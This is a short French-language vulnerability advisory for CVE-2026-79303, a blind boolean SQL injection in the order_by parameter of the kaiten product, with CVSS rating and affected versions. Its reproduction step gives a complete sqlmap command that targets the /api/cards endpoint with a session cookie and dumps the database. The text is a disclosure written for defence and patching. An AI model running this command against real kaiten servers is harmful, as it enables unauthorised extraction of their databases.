CVE-2026-79303

Injection SQL booléenne aveugle

Description : Des instructions SQL dynamiques sont générées sans la validation de données requise et sans utiliser d'instructions paramétrées ni de procédures stockées.

Impact : SQLi

Vecteur CVSSv3.1 : AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critique)

CWE : CWE-89 : Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande SQL (« Injection SQL »)

Composant affecté : Paramètres GET order_by et order_direction

Fournisseur : kaiten

Produit affecté

• Versions de kaiten : 57.192.20 < 57.214.26

Étapes pour reproduire :

1. sqlmap -u "https://[kaiten ip]/api/cards?version=2&limit=51&query=1&order_by=1&order_direction=desc&search_fields=title" --cookie="connect.sid=[value]" -p 'order_by' --technique B --level 5 --dbms postgresql --dbs --dump
2. Tapez n (ne pas fusionner votre cookie avec un nouveau) -> C